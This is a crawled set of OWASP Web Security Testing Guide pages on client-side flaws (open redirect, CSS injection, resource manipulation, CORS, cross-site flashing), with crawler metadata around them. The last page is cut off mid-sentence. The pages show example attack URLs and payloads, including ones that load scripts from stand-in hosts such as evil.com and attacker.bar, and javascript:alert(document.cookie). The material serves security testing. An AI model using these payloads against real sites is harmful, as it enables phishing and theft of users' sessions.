"https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/04-Testing_for_Client_Side_URL_Redirect", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/04-Testing_for_Client_Side_URL_Redirect", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Client Side URL Redirect"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}], "markdown": "# WSTG - v4.1\n\n# Testing for Client Side URL Redirect\n\n| ID |\n| --- |\n| WSTG-CLNT-04 |\n\n## Summary\n\nThis section describes how to check for client side URL redirection, also known as open redirection. It is an input validation flaw that exists when an application accepts user-controlled input that specifies a link which leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.\n\nThis vulnerability occurs when an application accepts untrusted input that contains a URL value and does not sanitize it. This URL value could cause the web application to redirect the user to another page, such as a malicious page controlled by the attacker.\n\nThis vulnerability may enable an attacker to successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.\n\nHere is an example of a phishing attack URL.\n\n```\nhttp://www.target.site?#redirect=www.fake-target.site\n```\n\nThe victim that visits this URL will be automatically redirected to `fake-target.site`, where an attacker could place a fake page that resembles the intended site, in order to steal the victim’s credentials.\n\nOpen redirection could also be used to craft a URL that would bypass the application’s access control checks and forward the attacker to privileged functions that they would normally not be able to access.\n\n## How to Test\n\nWhen testers manually check for this type of vulnerability, they first identify if there are client side redirections implemented in the client side code. These redirections may be implemented, to give a JavaScript example, using the `window.location` object. This can be used to direct the browser to another page by simply assigning a string to it. This is demonstrated in the following snippet:\n\n```\nvar redir = location.hash.substring(1); if (redir) window.location='http://'+decodeURIComponent(redir); \n```\n\nIn this example, the script does not perform any validation of the variable `redir` which contains the user-supplied input via the query string. Since no form of encoding is applied, this unvalidated input is passed to the `windows.location` object, creating a URL redirection vulnerability.\n\nThis implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:\n\n```\nhttp://www.victim.site/?#www.malicious.site\n```\n\nWith a slight modification, the above example snippet can be vulnerable to JavaScript injection.\n\n```\nvar redir = location.hash.substring(1); if (redir) window.location=decodeURIComponent(redir); \n```\n\nThis can be exploited by submitting the following query string:\n\n```\nhttp://www.victim.site/?#javascript:alert(document.cookie)\n```\n\nWhen testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3073, "slov": 432, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:35", "sha256": "bfbb2d0d919558d631062f5d7f562298bf07cda2474e5d6e0a3cea7011d86d0a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for CSS Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}], "markdown": "# WSTG - v4.1\n\n# Testing for CSS Injection\n\n| ID |\n| --- |\n| WSTG-CLNT-05 |\n\n## Summary\n\nA CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.\n\nThis vulnerability occurs when the application allows user-supplied CSS to interfere with the application’s legitimate stylesheets. Injecting code in the CSS context may provide an attacker with the ability to execute JavaScript in certain conditions, or to extract sensitive values using CSS selectors and functions able to generate HTTP requests. Generally, allowing users the ability to customize pages by supplying custom CSS files is a considerable risk.\n\nThe following JavaScript code shows a possible vulnerable script in which the attacker is able to control the `location.hash` (source) which reaches the `cssText` function (sink). This particular case may lead to DOM-based XSS in older browser versions; for more information, see the [DOM-based XSS Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.md).\n\n```\nClick me \n```\n\nThe attacker could target the victim by asking them to visit the following URLs:\n\n- `www.victim.com/\\#red;-o-link:'';-o-link-source:current;` (Opera [8,12])\n- `www.victim.com/\\#red;-:expression(alert(URL=1));` (IE 7/8)\n\nThe same vulnerability may appear in the case of reflected XSS, for example, in the following PHP code:\n\n```\n \n```\n\nFurther attack scenarios involve the ability to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors, leading to the exfiltration of data, for example, CSRF tokens.\n\nHere is an example of code that attempts to select an input with a `name` matching `csrf_token` and a `value` beginning with an `a`. By utilizing a brute-force attack to determine the attribute’s `value`, it is possible to carry out an attack that sends the value to the attacker’s domain, such as by attempting to set a background image on the selected input element.\n\n```\n \n```\n\nOther attacks using solicited content such as CSS are highlighted in [Mario Heiderich’s talk, “Got Your Nose”](https://www.youtube.com/watch?v=FIQvAaZj_HA) on YouTube.\n\n## How to Test\n\nCode should be analyzed to determine if a user is permitted to inject content in the CSS context. Particularly, the way in which the website returns CSS rules on the basis of the inputs should be inspected.\n\nThe following is a basic example:\n\n```\nClick me Hi \n```\n\nThe above code contains a source `location.hash`, controlled by the attacker, that can inject directly in the `style` attribute of an HTML element. As mentioned above, this may lead to different results depending on the browser in use and the supplied payload.\n\nThe following pages provide examples of CSS injection vulnerabilities:\n\n- [Password “cracker” via CSS and HTML5](http://html5sec.org/invalid/?length=25)\n- [CSS attribute reading](http://eaea.sirdarckcat.net/cssar/v2/)\n- [JavaScript based attacks using `CSSStyleDeclaration` with unescaped input](https://code.google.com/p/domxsswiki/wiki/CssText)\n\nFor further OWASP resources on preventing CSS injection, see the [Securing Cascading Style Sheets Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Securing_Cascading_Style_Sheets_Cheat_Sheet.html).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3984, "slov": 532, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:36", "sha256": "99204c0d5de4563b1830400447733a69fdbbcc0c90b7edc04561b349fe5455a3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.md", "https://www.youtube.com/watch?v=FIQvAaZj_HA", "http://html5sec.org/invalid/?length=25", "http://eaea.sirdarckcat.net/cssar/v2/", "https://code.google.com/p/domxsswiki/wiki/CssText", "https://cheatsheetseries.owasp.org/cheatsheets/Securing_Cascading_Style_Sheets_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/06-Testing_for_Client_Side_Resource_Manipulation", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/06-Testing_for_Client_Side_Resource_Manipulation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/06-Testing_for_Client_Side_Resource_Manipulation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Client Side Resource Manipulation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}], "markdown": "# WSTG - v4.1\n\n# Testing for Client Side Resource Manipulation\n\n| ID |\n| --- |\n| WSTG-CLNT-06 |\n\n## Summary\n\nA client side resource manipulation vulnerability is an input validation flaw. It occurs when an application accepts user-controlled input that specifies the path of a resource such as the source of an iframe, JavaScript, applet, or the handler of an XMLHttpRequest. This vulnerability consists of the ability to control the URLs that link to some resources present in a web page. The impact of this vulnerability varies, and it is usually adopted to conduct XSS attacks. This vulnerability makes it is possible to interfere with the expected application’s behavior by causing it to load and render malicious objects.\n\nThe following JavaScript code shows a possible vulnerable script in which an attacker is able to control the `location.hash` (source) which reaches the attribute `src` of a script element. This particular case leads to a XSS attack as external JavaScript could be injected.\n\n```\n \n```\n\nAn attacker could target a victim by causing them to visit this URL:\n\n`www.victim.com/#http://evil.com/js.js`\n\nWhere `js.js` contains:\n\n```\nalert(document.cookie) \n```\n\nThis would cause the alert to pop up on the victim’s browser.\n\nA more damaging scenario involves the possibility of controlling the URL called in a CORS request. Since CORS allows the target resource to be accessible by the requesting domain through a header-based approach, the attacker may ask the target page to load malicious content from its own website.\n\nHere is an example of a vulnerable page:\n\n```\n \n```\n\nThe `location.hash` is controlled by user input and is used for requesting an external resource, which will then be reflected through the construct `innerHTML`. An attacker could ask a victim to visit the following URL:\n\n`www.victim.com/\\#http://evil.com/html.html`\n\nWith the payload handler:\n\n```\nhttp://evil.com/html.html\n----\n \n```\n\n## How to Test\n\nTo manually check for this type of vulnerability, we must identify whether the application employs inputs without correctly validating them. If so, these inputs are under the control of the user and could be used to specify external resources. Since there are many resources that could be included in the application (such as images, video, objects, css, and iframes), the client side scripts that handle the associated URLs should be investigated for potential issues.\n\nThe following table shows possible injection points (sink) that should be checked:\n\n| Resource Type | Tag/Method | Sink |\n| --- | --- | --- |\n| Frame | iframe | src |\n| Link | a | href |\n| AJAX Request | `xhr.open(method, \\[url\\], true);` | URL |\n| CSS | link | href |\n| Image | img | src |\n| Object | object | data |\n| Script | script | src |\n\nThe most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) that could lead to XSS vulnerabilities.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3515, "slov": 497, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:37", "sha256": "9c30e572d6cb08b7dd5bff021c77ae52b478843d0ca02d3b6846944f230f6ddf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Cross Origin Resource Sharing"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin & Access-Control-Allow-Origin"}, {"uroven": 3, "text": "Access-Control-Request-Method & Access-Control-Allow-Method"}, {"uroven": 3, "text": "Access-Control-Request-Headers & Access-Control-Allow-Headers"}, {"uroven": 3, "text": "Access-Control-Allow-Credentials"}, {"uroven": 3, "text": "Input Validation"}, {"uroven": 3, "text": "Other Headers"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example 1: Insecure Response with Wildcard * in Access-Control-Allow-Origin"}, {"uroven": 3, "text": "Example 2: Input Validation Issue: XSS with CORS"}], "markdown": "# WSTG - v4.1\n\n# Testing Cross Origin Resource Sharing\n\n| ID |\n| --- |\n| WSTG-CLNT-07 |\n\n## Summary\n\n[Cross origin resource sharing](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing) (CORS) is a mechanism that enables a web browser to perform cross-domain requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.\n\nCross-origin requests have an origin header that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. HTTP [headers](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing#Headers) are used to accomplish this.\n\nThe [W3C CORS specification](https://www.w3.org/TR/cors/) mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods and headers allowed by the server, and if credentials are permitted. Based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.\n\n### Origin & Access-Control-Allow-Origin\n\nThe origin header is always sent by the browser in a CORS request and indicates the origin of the request. The origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.\n\nAccess-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.\n\nFrom a penetration testing perspective you should look for insecure configurations as for example using a `*` wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.\n\n### Access-Control-Request-Method & Access-Control-Allow-Method\n\nThe Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.\n\n### Access-Control-Request-Headers & Access-Control-Allow-Headers\n\nThese two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.\n\n### Access-Control-Allow-Credentials\n\nThis header as part of a preflight request indicates that the final request can include user credentials.\n\n### Input Validation\n\nXMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.\n\n### Other Headers\n\nThere are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.\n\n## How to Test\n\nA tool such as [OWASP Zed Attack Proxy Project](https://www.zaproxy.org) can enable testers to intercept HTTP headers, which can reveal how CORS is used. Testers should pay particular attention to the origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:\n\n### Example 1: Insecure Response with Wildcard `*` in Access-Control-Allow-Origin\n\nRequest (note the ‘origin’ header:)\n\n```\nGET http://attacker.bar/test.php HTTP/1.1\nHost: attacker.bar\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nReferer: http://example.foo/CORSexample1.html\nOrigin: http://example.foo\nConnection: keep-alive\n```\n\nResponse (note the ‘Access-Control-Allow-Origin’ header:)\n\n```\nHTTP/1.1 200 OK\nDate: Mon, 07 Oct 2013 18:57:53 GMT\nServer: Apache/2.2.22 (Debian)\nX-Powered-By: PHP/5.4.4-14+deb7u3\nAccess-Control-Allow-Origin: *\nContent-Length: 4\nKeep-Alive: timeout=15, max=99\nConnection: Keep-Alive\nContent-Type: application/xml\n\n[Response Body]\n```\n\n### Example 2: Input Validation Issue: XSS with CORS\n\nThis code makes a request to the resource passed after the `#` character in the URL, initially used to get resources in the same server.\n\nVulnerable code:\n\n```\n
\n```\n\nFor example, a request like this will show the contents of the profile.php file:\n\n`http://example.foo/main.php#profile.php`\n\nRequest and response generated by this URL:\n\n```\nGET http://example.foo/profile.php HTTP/1.1\nHost: example.foo\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nReferer: http://example.foo/main.php\nConnection: keep-alive\n\nHTTP/1.1 200 OK\nDate: Mon, 07 Oct 2013 18:20:48 GMT\nServer: Apache/2.2.16 (Debian)\nX-Powered-By: PHP/5.3.3-7+squeeze17\nVary: Accept-Encoding\nContent-Length: 25\nKeep-Alive: timeout=15, max=99\nConnection: Keep-Alive\nContent-Type: text/html\n\n[Response Body]\n```\n\nNow, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:\n\n`http://example.foo/main.php#http://attacker.bar/file.php`\n\nRequest and response generated by this URL:\n\n```\nGET http://attacker.bar/file.php HTTP/1.1\nHost: attacker.bar\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nReferer: http://example.foo/main.php\norigin: http://example.foo\nConnection: keep-alive\n\nHTTP/1.1 200 OK\nDate: Mon, 07 Oct 2013 19:00:32 GMT\nServer: Apache/2.2.22 (Debian)\nX-Powered-By: PHP/5.4.4-14+deb7u3\nAccess-Control-Allow-Origin: *\nVary: Accept-Encoding\nContent-Length: 92\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nContent-Type: text/html\n\nInjected Content from attacker.bar \n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7773, "slov": 1119, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:38", "sha256": "c28d93d0818e6a3608b33183a5d6f9efadcdf9d46be63e05e11e95d5b86b5bae", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Cross-origin_resource_sharing", "https://www.w3.org/TR/cors/", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/08-Testing_for_Cross_Site_Flashing", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/08-Testing_for_Cross_Site_Flashing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/08-Testing_for_Cross_Site_Flashing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Cross Site Flashing"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Open Redirectors"}, {"uroven": 3, "text": "Attacks and Flash Player Version"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Decompilation"}, {"uroven": 3, "text": "Undefined Variables FlashVars"}, {"uroven": 3, "text": "Unsafe Methods"}, {"uroven": 3, "text": "Exploitation by Reflected XSS"}, {"uroven": 3, "text": "GetURL (AS2) / NavigateToURL (AS3)"}, {"uroven": 3, "text": "Using asfunction"}, {"uroven": 3, "text": "ExternalInterface"}, {"uroven": 3, "text": "HTML Injection"}], "markdown": "# WSTG - v4.1\n\n# Testing for Cross Site Flashing\n\n| ID |\n| --- |\n| WSTG-CLNT-08 |\n\n## Summary\n\nActionScript, based on ECMAScript, is the language used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.\n\nActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM-based Cross Site Scripting (DOM XSS) could be present in flawed Flash applications.\n\nCross-Site Flashing (XSF) is a vulnerability that has a similar impact to XSS.\n\nXSF occurs when the following scenarios are initiated from different domains:\n\n- One movie loads another movie with `loadMovie*` functions (or other hacks) and has access to the same sandbox, or part of it.\n- An HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:\n - `GetVariable` to access Flash public and static objects from JavaScript as a string.\n - `SetVariable` to set a static or public Flash object to a new string value with JavaScript.\n- Unexpected communications between the browser and SWF application, which could result in stealing data from the SWF application.\n\nXSF may be performed by forcing a flawed SWF to load an external evil Flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake Flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when `loadMovie*` methods are used.\n\n### Open Redirectors\n\nSWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link.\n\nIn the Flash case, the malicious URL might look like:\n\n```\nhttp://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html\n```\n\nIn the above example, an end-user might see that the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the `getURLValue` and provides it to an ActionScript browser navigation call:\n\n```\ngetURL(_root.getURLValue,\"_self\"); \n```\n\nThis would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trust the user has in trusted.example.org to trick the user into visiting their malicious website. From there, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.\n\nDevelopers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.\n\n### Attacks and Flash Player Version\n\nSince May 2007, three new versions of Flash Player were released by Adobe. Every new version restricts some of the attacks previously described.\n\n| Player Version | `asfunction` | ExternalInterface | GetURL | Html Injection |\n| --- | --- | --- | --- | --- |\n| v9.0 r47/48 | Yes | Yes | Yes | Yes |\n| v9.0 r115 | No | Yes | Yes | Yes |\n| v9.0 r124 | No | Yes | Yes | Partially |\n\n## How to Test\n\nSince the first publication of [Testing Flash Applications](http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf), new versions of Flash Player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices.\n\n### Decompilation\n\nSince SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analyzed. The most known and free ActionScript 2.0 decompiler is flare.\n\nTo decompile a SWF file with flare just type:\n\n`$ flare hello.swf`\n\nThis results in a new file called hello.flr.\n\nDecompilation helps testers because it allows for white-box testing of the Flash applications. A quick web search can lead you to various disassmeblers and flash security tools.\n\n### Undefined Variables FlashVars\n\nFlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:\n\n```\n \n```\n\nFlashVars can also be initialized from the URL:\n\n`http://www.example.org/somefilename.swf?var1=val1&var2=val2`\n\nIn ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically, this looks like:\n\n```\nvar paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters; var var1:String = String(paramObj[\"var1\"]); var var2:String = String(paramObj[\"var2\"]); \n```\n\nIn ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are those variables that are prepended by `_root`, `_global` or `_level0`. This means that if an attribute like `_root.varname` is undefined throughout the code flow, it could be overwritten by URL parameters:\n\n`http://victim/file.swf?varname=value`\n\nRegardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let’s look at some ActionScript 2.0 code that is vulnerable:\n\nExample:\n\n```\nmovieClip 328 __Packages.Locale { #initclip if (!_global.Locale) { var v1 = function (on_load) { var v5 = new XML(); var v6 = this; v5.onLoad = function (success) { if (success) { trace('Locale loaded xml'); var v3 = this.xliff.file.body.$trans_unit; var v2 = 0; while (v2 < v3.length) { Locale.strings[v3[v2]._resname] = v3[v2].source.__text; ++v2; } on_load(); } else {} }; if (_root.language != undefined) { Locale.DEFAULT_LANG = _root.language; } v5.load(Locale.DEFAULT_LANG + '/player_' + Locale.DEFAULT_LANG + '.xml'); }; \n```\n\nThe above code could be attacked by requesting:\n\n`http://victim/file.swf?language=http://evil.example.org/malicious.xml?`\n\n### Unsafe Methods\n\nWhen an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered or validated, it could lead to some vulnerabilities.\n\nUnsafe Methods since version r47 are:\n\n- `loadVariables()`\n- `loadMovie()`\n- `getURL()`\n- `loadMovie()`\n- `loadMovieNum()`\n- `FScrollPane.loadScrollContent()`\n- `LoadVars.load`\n- `LoadVars.send`\n- `XML.load ( 'url' )`\n- `LoadVars.load ( 'url' )`\n- `Sound.loadSound( 'url' , isStreaming );`\n- `NetStream.play( 'url' );`\n- `flash.external.ExternalInterface.call(_root.callback)`\n- `htmlText`\n\n### Exploitation by Reflected XSS\n\nThe swf file should be hosted on the victim’s host, and the techniques of reflected XSS must be used. An attacker forces the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:\n\n```\n \n```\n\nIn this situation, the browser will self-generate an HTML page as if it were hosted by the victim 